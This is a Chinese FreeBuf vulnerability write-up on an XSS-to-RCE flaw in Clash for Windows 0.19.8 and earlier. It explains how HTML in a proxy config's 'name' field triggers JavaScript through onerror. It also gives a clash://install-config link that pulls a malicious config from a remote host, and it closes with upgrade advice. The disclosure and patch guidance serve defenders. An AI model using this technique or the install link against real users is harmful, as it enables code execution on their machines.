freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Clash for windows RCE 漏洞
2022-02-26 19:26:17
所属地 北京

被誉为Windows上最好用的代理工具,今天Clash for windows的Github上显示了最新版本的更新,这就点燃了我强烈的好奇心,那就研究一波。

1645849723_6219ac7be1497b293b06c.jpg!small?1645849725680

1645849356_6219ab0c48a37e950940c.png!small

I Clash For windows 简介

Clash 是一个使用 Go 语言编写,基于规则的跨平台代理软件核心程序。Clash for Windows 是目前在 Windows 上唯一可用的图形化 Clash 分支。通过 Clash API 来配置和控制 Clash 核心程序,便于用户可视化操作和使用。Clash for Windows 免费客户端同时支持 Windows 和 Mac 平台,并且支持一键导入订阅配置文件.

II  漏洞分析

crash_for_windows_pkg 由 Electron 提供支持,经检测发现Clash for windows 代理规则配置文件中未设置严格的输入检测,攻击者可通过构造代理配置文件中的 XSS Payload 来执行任意 javascript 命令。"proxies"中的"name"字段嵌入html标签,"onerror"时触发语句执行。

III  漏洞详情

1645873437_621a091d9279694424af2.png!small

测试版本

1645849981_6219ad7d4fa51b647a017.png!small?1645849983066

构造代理配置文件中的 XSS Payload 来执行任意 javascript 命令 (clash config 文件)

1645867816_6219f328bd6bf7ccef742.png!small?1645867819061

成功导入test.yaml

Note:另外一个利用方式: 也可以将恶意配置文件(test.yaml)放到互联网上并用 clash://安装

clash://install-config?url=http%3A%2F%2F1.1.1.1%3A8888%2F1.txt&name=RCE

1645873367_621a08d7e07b2c0c2723a.png!small?1645873370140

切换到Proxies点击代理的配置即可触发RCE漏洞打开记事本

Note:经测试发现<=V0.19.8的版本都受影响,操作系统:Windows10

IV 修复建议:

更新到最新版本V0.19.10.

https://github.com/Fndroid/clash_for_windows_pkg/releases

1645874561_621a0d81182a7f153086c.png!small?1645874563311



# 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录